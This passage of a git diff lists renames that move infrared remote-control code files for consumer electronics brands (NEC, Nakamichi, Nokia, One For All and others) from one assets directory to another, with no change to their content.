a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7530/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7555/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7562/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-7710/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8204.1300/32,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir diff --git 